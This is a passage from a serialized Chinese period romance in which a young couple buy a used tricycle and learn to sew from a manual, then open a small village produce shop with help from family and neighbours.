而老爷子是猎户出身，一些超出了村镇的买卖，打交道最多就是这些市场了。
可想而知，当时的影响。
眼下市场恢复了，原来的记忆也慢慢回来了。
一家子到花鸟市场的时候，正是中午，整条街逛的人还挺多了，一点不逊色逢场天的集市。
花鸟市场，也不仅仅是买花花草草和各种鸟儿，还有鱼啊、乌龟、王八都有的，相关的东西也多，在白春枝看来都有点像是个批发市场了。
两人随老爷子逛了，看他想要买点什么。
没想到老爷子还见着几个好些年没碰到过的老朋友了。
老爷子和老友叙旧，白春枝和萧远山径直往前走。
“诶，你看那儿？”
一路的花草鸟儿，没吸引到白春枝，她倒是眼尖的看到一个出售旧货的摊子。
别的东西到没什么，有一辆旧的平板三轮车也贴着售卖，一下吸引她的注
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意。
二八大杠，白春枝还是知道的，路上都不少人在骑了。
而这种三轮车和家里的牛车很像，同样是后面两轮加一个平板，比较好拉货，只是一个跟自行车一样，需要人骑，一个是畜力拉。
“最近搬货的，有人开始骑三轮拉货了。”
萧远山先前就是靠着那辆牛车，拉货搬运还挺有优势了，近来不仅推独轮车、三轮的也多了起来。
“那我们去看看？”
家里那头老黄牛，本来就是大队上淘汰的，这儿又好几年了，白春枝感觉需要提前考虑了。
“嗯，去问问价吧？”
萧远山点点头，要遇到合适也行。
“哎哟，两位真是好眼光，这可是别人放我这儿寄卖的咯！”
大概一直没人问了，白胡子老头还挺热情的。
“车是他自己改的，但你们放心，肯定是好使的，拉货啥啊，几百上千斤都不成问题。”
倒是一点没隐瞒，改的哪里都一一给他们指出来了，能看得出，一些配件都新新旧旧混着，是改动不少。
不过，光看也看不出什么。
萧远山询问了一番，直接骑上去试了试。
“链条、刹车都没问题。”
转了一圈回来，萧远山点点头。
白春枝看出来了，夫君也是满意的。
然后就是多少钱合适了。
“哎哟，看得出你们是诚信买，我也不喊高了，你们晓得的，这儿市场上的二手货，又不要你票，比新的少两张，你看咋样？”
在白春枝还没反应过来，一辆新的平板三轮要多少了，白胡子老头朝萧远山比了个手势。
萧远山摇摇头，回了个手势。
白胡子老头瞪大眼，又回了一个。
“……”
等两人来回打哑谜似的好几轮，最后双方点头成交，到白春枝给钱了，她才知道，他们用一辆自行车的价格买了辆二手平板三轮车。
不过也不错，毕竟，这还多一个轮了。
简单收拾一下，能直接骑走的，白春枝就坐后面也稳当。
等两人骑车去接老爷子了，才是让人惊得说不出话来。
“嗨呀，你这孙儿还孝顺呢！”
“你们两个哦——”
老爷子摇摇头，叹息了一声，挥挥手跟老友告别来。
再按原计划去看鸟时，老爷子又是说啥都不买了。
“花这钱，我还不如上山去打了。”
“……”
最后，萧远山估摸中给老爷子买了一只八哥，带回去每天教着说话，应该不会无聊的。
有了平板三轮车后，就没法再坐大客回去了，他们先去百货商店提了缝纫机，搬上车后，萧远山载着一家人骑回去。
路上，老爷子还没消气的，看着前面奋力蹬车的孙子，还跟孙媳妇讲起来从前来。
“这点儿路，根本不算啥子，不说走路上来，就是推鸡公车，更远的都走过。”
“……”
“不要看，这儿重量哦，我们原来是拉满车的，一天路上就啃个干饼子，有时候水都找不到地方喝一口。”
28. 发带
这辆旧平板三轮车让老爷子唠叨了一路，回到家更是引发了邻里们的一阵围观。
因着是直接骑回来的，路上花的时间比坐大客车长，好在不受两班车固定班次的限制，他们到的时候还挺早了，李阿婆她们这会儿正坐在门口摆龙门阵，自然是瞧见了。
“春枝你们咋换车了哦？”
“这车子的样式，还有点少见哇！”
“是的嘛，前面有点像自行车的龙头，后面又是两个轮子。”
“三轮板车，方便拉货的！”
“……”
车才将将在门口停稳，老太太们腿脚一点不慢地围了过来。
平板三轮车能看得出是个旧的，大伙儿只看个样子、图个新鲜，等她们凑近了瞧见上面还有一台新的缝纫机，又是一阵惊呼。
“嗨呀，你们，你们这是上县里买了台缝纫机啊！”
“哎哟喂，还真是，嚯，这要好多钱哇？”
“不仅要钱了，还要票的诶，不好买的呢！”
“是哇，春枝他们两个看起就是新婚两口子，买一台也合适。”
“那倒是，现在结婚这些啊，是要凑齐三大件才行，不像我们原来，一袋粮就接回去了。”
“你说的哦，那是好多年的老黄历了？”
“嘿，那讲的也是事实嘛！”
眼看着两个阿婆要争论起来了，白春枝拎着布包下来，又忙问起各位阿婆有没有会缝纫机的。
虽然售货员大致演示了一遍，并且缝纫机里也带了一本使用说明书。
但这东西，感觉还是得有人教才行吧？
白春枝有些不确定。
而老太太们说的热闹，听到这个却是一个个都摇了头。
在座的各位基本是带孙孙末儿的年纪，等家里凑够钱和票能买得起缝纫机了，自己眼睛也不咋好使了，也就儿媳妇、孙媳妇在用，这还点确实不太能帮得上白春枝的忙。
不过婆婆大娘们还挺热情的，立马又细数起了这巷子里都有哪些人家有缝纫机了。
“好的好的，谢谢大家。”
白春枝记下比较近的几家，像是李阿婆、王老太，还有张三婆婆，说等空了，她再上门请教婶子们。
“咔哒！”
萧远山在屋里找了两块木板斜铺在台阶上，眼看他们要推车进去了，老太太们这才散开一点。
“哎哟，春枝啊，你们这两天还回去不？”
帮着萧远山把车推过门槛，白春枝还没来得及跟着进去，又被李阿婆喊住了。
“应该要的，怎么，李阿婆是有啥事哇？”
白春枝将布包又放车板上，回来和老太太们说话。
“这不是想问下你们还回去收鸡蛋不，要的话，我们几家都想要点儿的。”
先前天天卖粽子，白春芽又每天都要来一趟镇上，时不时的帮大伙儿带了不少土货，李阿婆她们，估计除了去菜市场买菜，很多都东西都习惯找他们了。
“那行，我回去喊我妈帮你们先收点，反正就这两天，到了我来喊你们。”
这事简单，白春枝直接应下了。
“要的嘛，老母鸡有的话，也收两只好了，你秦三娘那天还在问的。”
“好。”
白春枝点点头挨个记下。
回到屋里，萧远山已经将缝纫机摆他们房间了，他正在看说明书。
“怎么了，是有什么问题吗？”
鉴于大多数人是不会组装的，县百货大楼卖大件时，不需考虑运输问题了，都是整机卖的，按售货员的说法，拿回去就能用，保管和试的缝纫机一样。
白春枝围着缝纫机转了一圈，没看出哪里有不对劲的地方。
“没，我就是看这上面介绍的，还细致了。”
说着，萧远山又折回来从目录翻起给白春枝看。
第一部分是机器的简单介绍。
说是简单介绍，文字说明就只有一页，但第二页却配了整个机子的图，图上缝纫机上每个部位用一根直接指出来标上了号，下面跟着序号，那块儿叫什么名儿是一一对应的。
“这介绍还是挺一目了然呢！”
来到这儿后，了解外界，白春枝多是听村头的广播，繁简字的练习除了从钱上面认，还看了些课本，其他的书还没怎么看过。
这本缝纫机的使用说明书，一下就震惊她了，只觉得编书的人真是聪明啊！
接着是上轮组装的步骤。
而这缝纫机最复杂就是机头位置了，但不用担心，人家又画了一副更大的图，连每一个零件都标得清清楚楚。
“哎呀，这机头和台板能卸掉呢！”
组装的步骤有了，还讲了该怎么拆卸，白春枝看着这个又惊叹道。
整台缝纫机其实像个小桌子，当时他们放上板车时，可小心了，绳子系了一遍又一遍，就怕它倒了，毕竟大部分重量来自机头。
早知道能拆的话，那不是省事了。
“下次就知道了。”
萧远山好笑的看着一惊一乍的小娘子，转头又对比下，还行，好些工具家里都有的。
“教得可真细致。”
看完这部分介绍，白春枝又感叹道。
然而，这话，她还是说早了。
紧接着是第二部分的使用方法，第一排小字，人家就贴心的注明，怕使用不当而造成不必要障碍，先让空机练习。
这一说明，瞬间让白春枝来精神了，她本来还担心不会用而浪费布料了，竟然还可以这样。
小夫妻俩又凑到一起仔细将这部分阅读了一番。
课本上简体字的练习还是很有用的，这里面除了比较专业的零件是很复杂的字，整本说明书的用词和语言几乎没什么难的，白春枝都能看得懂。
通读了一遍，又对着缝纫机每部分认了一下，白春枝就有些跃跃欲试了。
“上机试试吧！”
萧远山见小娘子爱不释手的不断摸着缝纫机，那能不懂她，于是鼓励道。
房间里的凳子高度正合适，白春枝摆放好就坐在了缝纫机前。
先是空机练习。
萧远山在一旁也没放小娘子不管，他按着上面的步骤，一条条的念给白春枝听。
“哒哒哒——”
一开始脚轻，没怎么踩动，后面一下，白春枝又有点脚重了，肉眼可见的缝纫机快速地动了起来。
“行了，你再练练，我去煮饭。”
瞧着外面天快黑了，萧远山叮嘱了一句，将使用说明书放在台板上了，才出门。
白春枝脚踩在踏板上，又认真看
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了一遍步骤，才由慢到快加速感受着机子的转动。
等萧远山做好饭进来喊她，白春枝已经练习到了“吊梭线”。
“我等会儿就能拿废布头试试了。”
“这么快？”
这下轮到萧远山惊讶了，他可看着那使用方法写得有点长的，单是要将线从下面穿上来，似乎就不容易，没想到小娘子已经会了。
“人家那里面教得好。”
白春枝可不贪功。
等第二天，白春枝还没来得及回村里一趟，白春芽先来给姐姐姐夫家送新鲜蔬菜了。
“哎，春芽你来得正好。”
刚吃过早饭，白春枝不急着整理那一背篓的菜了，先拉着妹妹去看缝纫机。
“哈哈我就想着你们应该把缝纫机买回来了。”
白春芽可是估摸着时间来，本来还想，要是还没买，确定好要买的时间，她得跟着去看看了，没想法姐姐速度够快的。
白春枝可不知道妹妹的想法，她正准备展示一下自己的练习成果了。
“你看这个，是我昨晚用布头子踩出来的。”
“啊，这朵花好看！”
白春枝给妹妹看的是她做的一根发带，不过用的都是碎布头，颜色不一、长短不一，好在她是尽量选的同一种面料，拼在一起，倒不显得多突兀。
白春芽夸赞的那朵花，是正好在接头处，她本来是想做个样式给遮挡一下，最后找出来布头做了朵小花缝上去也合适。
看妹妹就这朵花，又要联想到了不少生意经了，白春枝赶紧将人压在缝纫机前，再把使用说明书甩了出来。
“怎，怎么了……”
白春芽突然被姐姐霸气的动作弄得一愣。
“看看这个，里面教得非常详细的，我照着上面的步骤，练了一个晚上的成果。”
“这么厉害啊？”
白春芽还以为姐姐是请教了别人呢，没想到是自己专研的。
“没啥厉害的，里面教得特别好，认认真真的跟着学，你也可以的。”
现在白春枝有点将这使用说明书信奉为宝，后面还有教怎么卷边和缝花边了，刺绣也有，感觉一台缝纫机真是无所不能了，端看你怎么学。
姐妹俩在房间学了一上午的缝纫机。
等外头老爷子的八哥叫唤了，才想起来该做午饭了。
“诶，差点都忘了，李阿婆她们托我，想收点土鸡蛋、老母鸡，你回去跟老妈说一声哦！”
“这个好办啊。”白春芽也是一口答应了，“本来现在各家也多喂了些鸡，每天收的蛋多，就等着逢场天才去卖的，你这儿有人收的话，倒是好了。”
“哞哞——”
处理了菜叶子，白春芽看到牛车还在家，不禁奇怪道。
“姐夫，今天没赶出去吗？”
“啊？有呀！”
白春枝淘完米出来，把淘米水浇花才想起来，还有一件事了。
“哎呀，今天光想着缝纫机了，忘了，昨天我们去那个花鸟市场看到有个二手的三轮，就买了。”
“……”
白春芽盯着无聊踢脚甩尾的大黄牛两眼放光。
她倒不惊讶姐姐家又买车了，姐夫那活儿就需要用到车，白春芽是在想这牛车是不是还能再利用起来啊？
29. 开窗
“姐！你说我们拉点菜来镇上卖怎么样？”
“……”面对想一出是一出的妹妹，白春枝这会儿终于有和老娘对上她们姐妹的同感了，不过想了想又，问道，“头花呢，不做啦？”
“诶，这个嘛，也可以一起呀！”
说着，白春芽还跟姐姐扳起手指头细数了起来。
从村里收点农副产品，她每天一早就能带来，像她们之前那样，摆摆摊、再去叫卖一圈，保管是能销完的。
至于，头花那些，总归比不上每天要吃的饭菜要紧，这东西，出成品需要时间、卖出去也得找大姑娘小媳妇们，慢慢做都来得及。
“那，行吧！”
原本只是想着闲的时候有点事儿做，妹妹几句话，就给白春枝每天的空闲安排得满满的了。
不过能多赚点钱，谁不喜欢呢？
午饭萧远山没回来，两姐妹和老爷子吃饭时，在饭桌上提了起来。
老爷子倒没觉得小姑娘异想天开了，这不论什么年岁光景，大伙儿可不就图个吃饱穿暖么！
于是等萧远山下午到家时，老爷子已经帮着姐妹俩计划起要砸墙开窗了。
“你们，这是干什么呢？”
老爷子真是不服老，拿了个炭笔在地上墙上写写画画，白春枝和白春芽两人在一旁，一个靠着墙在比划什么，一个用脚在丈量着回廊。
“哦，你回来的正好。”等萧远山将三轮推了进来，老爷子也不用孙媳妇用笔上记录了，直接跟孙子讲，“我们准备在这档头上开个窗子，高度齐腰吧！”
“开个窗？”萧远山有些没明白几人的意图。
“对，可能要比一般的窗子大，那种老式的推窗。”老爷子拿了根棍子，指着自己画的位置，解释道，“右半边的回廊要围起来，做成个小间的样式，里面就搭些架子，她们卖点东西都比较好放。”
“……”
将墙上地上的黑色印记结合起来，萧远山总算有点看懂了。
“嗯，差不多就这些了吧？”
讲完自己那部分，老爷子视线转向两姐妹，萧远山不明就里，却也随之转过去。
“呃——”
白春芽先抵不住她姐夫那犹如实质的眼神审问，先招了。
“姐夫，我看那牛车不是退下了么，就想着我在咱村上收点土货来镇上卖了，像先前卖粽子盐蛋一样，不过端午了，阿婆她们总是想要买点土鸡蛋的吧？还有我们那鹌鹑蛋根本就不用停掉了，可以继续买！”
噼里啪啦一通讲，显然，白春芽这一下午都在琢磨这事了，说完，又看向自家姐姐。
“诶？”
被三人盯着，白春枝莫名有种他们好像犯事儿了一样，可想想也没啥呀，只好摇头上前，补充了下妹妹说的。
“还有就是我们那个特产礼盒，不是要计划着慢慢做起来么，但也不能像是之前摆门口吧，开个小窗搞个小门脸，挺好的。”
“是哦，我还忘了这茬。”白春芽拍着脑袋恍然，重要的事她都忘了，那可挣钱的大头了，越想越觉得妙，“咱们开小窗的想法是真真儿好呐！”
“……”
全家都赞同的事，萧远山还能说什么，也不能反对了，只能加入砸墙的队伍。
但这房子也不能随便砸个窟窿了，什么事都得计划着来才行，作为砸墙的主力军，萧远山在吃晚饭时，想了想又劝道。
“宅基地那边订的砖，明天就能拉来，你们别急，等我把砖和水泥先拖回来，再动工也不迟。”
“好好好，我们不急的。”
趁着做饭前的空挡，白春芽已经拉住姐姐又去各家走访一遍，登记了包括了李阿婆、秦三娘在内的七位婆婆大娘们要的东西，农副品第一单生意已经拉来了。
现在可不就不急了么，白春芽端着碗摇摇头，一点都着急砸墙的。
“你啊，先吃饭。”瞧着做怪相的妹妹，白春枝更是无奈了，然后又和萧远山商量，“刚好时间还早，一会儿我们也回去一趟吧？”
“嗯，你们赶牛车，我三轮回去，然后把牛车留下。”
安排好了，吃过晚饭，三人也没多耽搁了，趁着天还没黑，先回村里。
萧远山先去跟人讲了要拉点砖和水泥走，不然人家包工那边到时候不好安排量。
姐妹俩到白家，说明了情况后，自然又是惹得白母一阵呲。
“你们两个真是不想说了，凑一起了就净整些事！”
“……”
两姐妹本来还等着老娘的一顿骂了，结果白母讲了句开头，没空搭理俩人，她得先去跟将留点鸡蛋了，要不明天逢场，人家腿脚勤快的，说不定自己去卖了。
等白母回来时，一切谈妥了。
这村里，应该是没有老娘子搞不定的事了，白春枝拿的那条子，每家要什么都给凑齐了，白春芽明早挨个去收了就带走。
“诶，你不慌着走，过来，我跟你说哈话。”
白春枝才刚探头去看萧远山回来没，白母就拉着她进屋里说话了。
“怎么了，妈？”被老妈推着走，白春枝有点摸不着头脑了，“家里是有什么事吗？”
“屋头能有啥事哦！”
白母已经拿钱出来准备起房子了，和萧家一起买砖和水泥还能便宜点，也趁着老二在家，先打个地基。
讲了两句家里的安排，白母又觉得扯远了，回归正题提醒白春枝。
“我晓得这段时间的端午礼盒呢，确实赚了不少，再等下回，估计要中秋了。”
白母自己的盐蛋赚了不少，还是比较认可端午礼盒的。
白春枝点点头，猜老娘那天是没听到他们在说特产的事，不然肯定又要念叨了，果然，白母说是其他。
“你们想多赚钱呢，是好事，不过这摊子不要铺太大了。”
“嗯。”白春枝点头。
“平时，次吧次的收些鸡蛋，我去给你们说了，等你卖了再给人家钱，乡里乡亲的也不会多说啥，这哈要像你妹儿讲的，要长期做，天天都在收，那你们准备出好多本钱哇？”
“这——”
今天才想着要开始，两姐妹还真想要投多少钱了。
白母自
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己显然是有她的看法了，又继续说道。
“你们小打小闹就算了，收的东西只那么些，不整多了也行，你妹那边，你们两个说清楚，等年后呢，她还是出去打工学个技术，在屋头搞这些不长久。”
“……”
晚上临睡前，思考着白母的话，白春枝又跟夫君讲了讲老娘的劝解。
这时，萧远山才跟白春枝说，他其实对个农副产品的小窗口不太看好。
“啊？”白春枝惊讶的连蚊帐都忘了放下，才拉着夫君问道，“那你还同意我们砸墙了？”
“这就像老娘说的，小打小闹的没事，只是摊子确实不合适铺太大。”
“怎么说呢？”
白母的意思，让她们姐妹俩别投太多钱，谁知道后面能不能卖出去了，这新鲜鸡蛋蔬菜可不像其他东西经得放。
“要搞经济，这市场在恢复，像我们去逛的花鸟市，里面还有卖二手的，以后估计是要分开、逐步管理起来。”
这句是萧远山的推测，但他也有依据的，又跟小娘子例举道。
“你看我们这儿借着交通的便利，来了多少客商，每天多少大来拉货的，不都统一规划了地方了么？”
“这倒是——”
“菜市场也一样，现在是什么都混着卖，又是原来的老市场，大娘们不爱去逛，觉得乱、又小，但这个问题，上面总是要解决的，我估计往后会像转运点一样，扩大了。”
“那我们还砸墙么？”
都讲得有道理，白春枝点点头，紧接着是比较关心自家的墙了。
“砸啊！”
萧远山也笑了起来，揉了揉小娘子头，感叹道。
“你不是说了，还有特产么，我感觉这个小窗口，开着也不错，本来咱们端午礼盒就有点名气了，可以把特产礼盒弄起来，维持着，不说卖多少，要为下半年的中秋着想吧？”
“这倒是……”
白春枝再次被说服，礼盒往后肯定要越做越好的，可不能再放地上卖了。
开小窗的事被定下了，萧远山紧跟砖和水泥一运回来，就开始动工。
这时候，巷子里那些沿街铺子、前店后院的情况挺多的，“四合头”房子的结构，本来也比较灵活多变，里头的一正两厢不怎么动，前面想怎么改都行。
白春枝他们这，只是砸个小窗出来，倒是没引起多少围观。
小间是当作储物间那样，也不住人的，萧远山一天就搞完了。
矮墙砌好，开窗处也加宽了，白春枝是打算做个木台面，不管是摆放、还是有人来买东西都比较好看，一目两然了。
平时关窗的话，萧远山计划的是，安装那种可拆卸的门板，像他们原来店铺打烊的关板，这样能是整个小窗的空间更大一点。
“架子呢，你想哪种的？”
这时候就只等晾干了，萧远山问起了小娘子的意见。
“哪种？”白春枝打扫着只有几平米的小间，对架子没多少概念，“是还能选么？”
“要不一起去张师傅哪儿看看？”
“行。”
30. 小店
到张师傅家时，大门口正有一辆大卡车在拉货了。
“张师傅，您这又是大买卖啊？”
萧远山和白春枝是骑的三轮来了，往常拉家具小车的够的，今天竟然是辆大车，可见张师傅家这生意，两人进了门赶紧让到了一侧。
“哎哟，小萧来了呀？”
张师傅跟人对完单子，回头一看是萧远山带着媳妇儿来的，忙招呼了下，又赶着给司机把门推到最大开。
“就是你上回给我画的样呐，有个大老板看上了，本来先只是各拉了一套回去当样展示下，没想到这后面定的人不少嘞，最近结婚的人也多！”
人逢喜事精神爽，别人是结婚，张师傅这是卖了不少成套的家具，可不是该高兴么。
张师傅边说边走过来，随手拍了拍身上，正准备给萧远山递根烟，见他摆摆手，也想起小伙子是不抽的，这才作罢。
“你们这回过来呢，是屋头缺点啥不，刚好最近我这儿又进了点木料回来。”
“嗯，是想再打点东西。”
见张师傅确实不太忙的样子，萧远山也就不怕耽误他们出货了，站在一旁将自家打算弄个农副产品小店的情况说一下，顺便把他画的草图递了过去。
“这个想法不错哦，我送货走了不少地方，很多都在弄个体小卖店，生意瞧着还是可以。”
张师傅对这小卖店的生意还挺看好了。
平时在村头，哪家缺点酱油盐巴了都不用等到第二天去镇上了，他们外出更是，原来是出去借个火都难找，现在就不一样了，随便都能买的。
“那这些小卖店进的品类还挺多了。”
白春枝听着点点头，记下了人家小卖店的货。
“嗐，也就些日用杂货，看着那些用的多、消耗的快，都可以卖嘛！”
张师傅说起来，还有点经验，将自己出门需要的，比如，突然要想记个什么，没纸没笔，还有上下搬货，连个擦汗的毛巾都忘了。
“哎哟喂，你这就是记性不好。”
见着白春枝也来了，张师娘慢一步出来听到自家男人还好意思讲他那点事出主意了，不由笑道。
“那娃娃些做作业写字，也要买本子买笔嘛！”
“不听他的，我们这儿村头也刚开了一家，就在那路口，不晓得你们过来的时候看到没，我去买过好几盘了，卖有啥子东西我都晓得。”
张师娘一点不给张师傅面子了，拉着白春枝就进去喝水，留两个男人在外头聊。
“这小卖店啊，其实也可以叫杂货铺，就看你想做哪些人的生意了。”
进到屋里，张师娘给白春枝倒了杯凉白开，桌上还放了瓜子花生。
“哦？师娘这还分人吗？”
手了被塞了一把瓜子，白春枝也只能嗑着瓜子问了，看起来张师娘也是有一脑门儿的生意经呢！
“是呀，你看我们这村头，平常就是老人小孩儿妇女多，那就得做这些人的生意了。”
张师娘就是掌管家里灶房的，很是有生活经验的和白春枝列举道，
“像是柴米油盐酱醋茶，哪家都需要的，不过油太贵了、都是自家打的，其他小零小碎的，要是能直接在村里买了，也不值当跑一趟镇上，加上娃娃喜欢的小零嘴，学习上用点本子笔墨那些，这不就生意来么！”
“这倒是。”
白春枝点点头，然后解释了自家的情况。
“我们这不是搬到镇上了么，家里的地也没丢，平时邻里爱找我们带点蛋啊鸡啊和应季新鲜菜这些，我们就想着在家开个农副产品小店。”
“这个挺好的啊，你们住镇上了就这点，吃点啥都要买，没村头方便，好在你们田还种起的，就是辛苦要来回跑，不过有这点，确实可以开个店店。”
“嗯，先做到吧，就是怕不长久。”
白春枝喝了一口水，对着张师娘也没好隐瞒的，将家里的担忧和考虑也说说，多个人多个主意。
“嗨呀，考虑那么多做啥，有这个机会，先开起来再说，赚钱的机会可不等人的。”
其实张师傅弄这做家具的，并不是一帆风顺，张师娘一把年纪也是看淡了，很是洒脱的开导着年轻人。
“这做生意就是，撑死胆大的饿死胆小的，不过呢，也不用那么莽撞，你老娘子说的对，咱们可以步子迈小点儿，还是我刚才那个意思，看你做哪些人的生意了，邻里的话，副食品确实可以加进去，这每家每户都离不开吃喝拉撒嘛！”
“是的是的，我们回去就好好规划一下。”
听张师娘说话，白春枝有一种被人打通任督二脉的感觉，先前只是想着能做啥，大概可以赚钱的，就都放那小窗口卖了，现在想想确实有点乱，这下可算是理清思绪了。
白春枝她们这边聊得愉快，萧远山在外头跟张师傅也谈的很顺利。
依照这架子和台面，又当是给张师傅开了一个新品类。
张师傅本人算是那种比较有危机意识的，要不也不会叫萧远山帮他画样了，不过这事，他能做，别人也能做。
两人都知道，每当打了新款，再畅销也就一阵，后面仿的肯定多，要持着这劲头，就得持续的有新鲜东西出来。
这次虽然没新款家具的款，但架子和台面，又是目前越发多起来的个体小店需要的了，他们就得趁先占领空白市场了。
“那这架子什么的，张师傅又不收咱钱啦？”
回去的路上，听夫君讲完他跟张师傅聊的，白春枝再次不敢置信的瞪大了双眼。
那架子的样式，还是她昨晚和夫君一起想的了。
这东西本来也白春枝要用，当然是自己顺手的最好，萧远山画了大概框架后，就问小娘子的意见。
白春枝对架子本来没多少想法，还是考虑着真要放东西，她怎么好取货了，回顾了下原来老铺子的两种，放布匹的货架、放药材的药柜。
他们农产品小店要开了，似乎都需要放的。
最后，萧远山画出来的草图就是，下面是柜子，上面是一层层的架子，刚好是下面存放东西，上面到小窗口起腰的位置做展示架。
客人来了，站台面前，只需平视或往上看，要是朝下瞧一眼，里面看着也不乱。
可就这，白春枝觉得自己
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也算面面俱到的考虑了，但她没想到，这法子还能买给张师傅啊！
“咱们的脑子是长得不一样吗？”
要不是萧远山在骑车，白春枝都想掰着夫君脑袋好好瞧瞧了。
“小心些。”
骑的是后面带平板的三轮，萧远山感觉到小娘子在后面动了下，还是忍不住道。
“放心吧，我稳着呢！”
白春枝挪着垫子往前坐了点，像是夫君在骑自行车般，伸手揽着他的腰，轻轻靠着他的后背。
“怎么，累了吗？”
“没，就靠靠。”
“要不一会儿回去买一副脑花给你补补？”
“去你的。”
白春枝的手刚好在前面了，给了夫君一爪，肉铺都是猪肉，脑花也就只有猪脑，吃哪儿补哪儿，是说她是猪脑子么？
张师傅那边人手足，木料又充沛，不过两三天就把架子和台面送来了。
刚好矮墙和开窗补的那点也晾干了，只差提个名就能开张的。
这次名字就没太愁夫妻俩，直接就叫“山枝小卖店”，不要“轩”是不想那么拗口，不然不好在邻里间宣传，而小卖店，不叫农产品、副食那些，也是考虑他们以后可能品类会又点杂。
牌匾就是张师傅那边一块有些纹路的木板，题字还是老爷子亲自来的。
开张前一天，萧家的牛车、三轮一起出动，回村去进货了，阵仗瞧着虽然大了点，不过是能放的鸡蛋、干货多点，那架子上总得有点东西了。
其他不太好放的，除了白春芽每日能赶牛车送点新鲜菜，白春枝还准备了一个本，可以承接预定了，想要活鸡活鸭大鹅都行，头天定第二天送来。
“噼里啪啦——”
随着一声鞭炮声，“山枝小卖店”揭开红布，正式开始营业。
“新店开张，感谢各位邻里的支持，这边有花生瓜子，小朋友那边有鹌鹑蛋哦，今天免费！”
白春枝她们不太会搞客商那套开业酬宾几几折的，就比较直接的准备了小零嘴请各位邻居了。
“哇，那我们今天是随便吃吗？”
一个瞧着比小豆丁大一点的孩子最先跑过来问，白春枝记得他是李阿婆的重孙了，点了点头，起身一看，果然，几位熟识婆婆大娘们都来了。
“哎哟，恭喜哦，春枝，祝你们生意兴隆！”
“恭喜恭喜，开业大吉！”
“恭喜！”
“谢谢大家了，来来来，这边有瓜子花生哈！”
白春枝招呼着大伙儿，又将人都引到门口，今天另一边还摆了小凳子，鹌鹑蛋也方便那边煮着的。
“姐！”
白春枝刚和李阿婆她们说着话，白春芽那头又在喊了。
“来了！”
今天刚到的新鲜菜都摆在台面上了，白春芽正在给一位客人称重，白春枝走进问道。
“怎么了？”
“哦，有人要预定——”
白春芽随手一指，白春枝抬眼一看，他们那小黑板正站着两人在看。
这上面都是可以预定的种类和价格了。
31. 包山
小黑板是张师傅给找的一块小木板，涂上黑漆就能用。
刚好白春枝买了缝纫机之后粉笔也不缺了，将他们能在各村收到的货都写了上去，瞧着种类还挺丰富了，价格是明码实价的，虽然不一定比菜市场的便宜，但有些东西，那真不一定是外头好卖的。
像是乌骨鸡，现在市场上就很少见的，主要没大批量的饲养，如果有想用鹌鹑、鸽子炖汤补一补的，他们也有。
再来就是些野山货了，平时那干杂铺子的供货，其实大多是萧远山他们那样的猎户提供的，现在小卖店新鲜的都有。
“春枝，你们这个小店瞧着还真是不错呀！”
“诶，淑云你们来啦？”
白春枝刚给两位客人介绍完，记下了他们要订的货，回头一看姜淑云一家也来了，今天开张选的是休息日，她还是第一次见到小豆丁爸爸了。
“来来，带孩子到那边吃点东西。”
“好，儿子，让爸爸带你过去，妈妈在这儿跟阿姨说说话。”
姜淑云让自家小豆丁跟他爸爸去，转过来拉着白春枝感叹道。
“真是没想到，你们的小卖店是这样的，瞧着就很特别！”
“哈哈哈，一开始是我妹子的主意，弄成现在这杂货店似的，也是考虑到我们能做成什么样了。”
“这很好了，就是要跟别家的有区别才行。”
姜淑云跟白春枝走到小黑板前，本来想说个什么词的，这到嘴边都忘了，又拿端午的礼盒举例。
“要不你看端午那会儿，同样是卖盐蛋卖粽子，可你家礼盒一出，多远的人都要跑你家来买了，评价都很好呢！”
“是，也是想做点不一样的。”
“是了，这个思路是对的，本来你们姐妹就多有想法了。”
姜淑云这会儿还记得白小妹摆礼盒的奇思妙想呢，瞧着小黑板上写的，又问道，。
“嗨哟，你们这东西确实丰富，还搞预定的，听着就新鲜，你给我推荐推荐……”
话还没说完，姜淑云又摇了摇头，让白春枝不整别的了，要些现成有的好了，孩子爸爸就今天休息，可以给家里做点好的，其他难得见的好货，下周提前来订。
“行，我给你看这新采的菌子，炖汤鲜着呢！”
这两天夜里都在下雨，山上的菌子长得正好，昨天萧远山在各家收货，白春枝和妹妹进山采了??不少，考虑着姜淑云家人不多，一只老母鸡有点多，又建议道。
“这几种，像是鸡纵菌、干巴菌那些，炒着也好吃的。”
“好，两样都来点，我们原来在家也吃菌子的，他爸爸会做。”
见姜淑云点头了，白春枝便帮着捡，一边挑一边给她讲着各种菌子生长时间，要家里人都爱吃的，到时候再来。
“唉哟，春枝你们这个小店还真是跟菜市场不一样哦，尽是买些稀奇货呢！”
白春枝刚把捡好的菌子递给妹妹称称，晚了几个老姐妹好一会儿的秦三娘笑呵呵来了。
想起秦三娘悄悄咪咪来买了好几个礼盒的举动，白春枝知道，这也个大客户，她就藏着掖着了，将一些上好的干货都拿了出来。
“品相真好！”
果然，都不用白春枝多说什么，秦三娘就不断点头了，仔细看完后，还佯装埋怨道。
“你们也是，先前拖你们带啥就是啥，要问到了才晓得有，这种好货嘛，该早点拿出来的。”
“是是是，您说得对！”
白春枝笑着点头认骂，里头大部分是她之前晒的，搬家前就让萧远山拿去卖了些，剩下好的，本来是留给自家慢慢吃了，为了这小卖店可是连存货都拿出来了，其余的，也是现收的了。
有姜淑云、秦三娘这样的大买主，也有来凑热闹的邻里顺便买点小零小碎的东西。
就这样，山枝小卖店彻底在巷子里打响了名头。
邻里们在去菜市场会先来小卖店看一眼，而也有别的巷子的街坊慕名来瞧瞧山货了。
开了几天后，白春枝也算摸索出来了大伙儿来的时间。
早上自然是一阵流量高峰，买菜的婆婆大娘们占很大一部分了。
因为她们的茶叶鹌鹑蛋又继续弄起来了，外加偶尔还会卤煮点素菜、干豆腐之类的，早饭和午饭前也有做饭省事的会直接买点下饭菜。
然后就是零散的客人来买些山货或者家里来人要预定点鸡鸭的。
白春枝便给妹妹讲了，新鲜菜那些，隔两天送一次好了，休息日人会多点，其他时候也就还好。
这样，白春枝将缝纫机也搬到小卖店了，守店的空闲，两姐妹还能多练习下。
“姐姐，你们还编手链吗？”
“啊？”
又是一个休息日的下午，小卖店除了门口坐了两个剥豆子的阿婆，没什么了人，白春枝和白春芽正在研究裁剪了，突然听见小女孩儿问这个，抬头望过去时，还有点懵了。
“哎哟喂，是那天端午学编五彩绳的妹妹的哇！”
还是白春芽先将人认出来了，这么久没来，还以为不来了呢！
“嗯，我们今天返校，我来的有点早，就想着过来看看，继续找姐姐学编绳。”
“哦哦，不耽误学习就行。”
门口是有木凳的，白春芽将人拉到一旁坐着，白春枝将彩线也拿了出来。
“小姑娘还喜欢这些哦？”
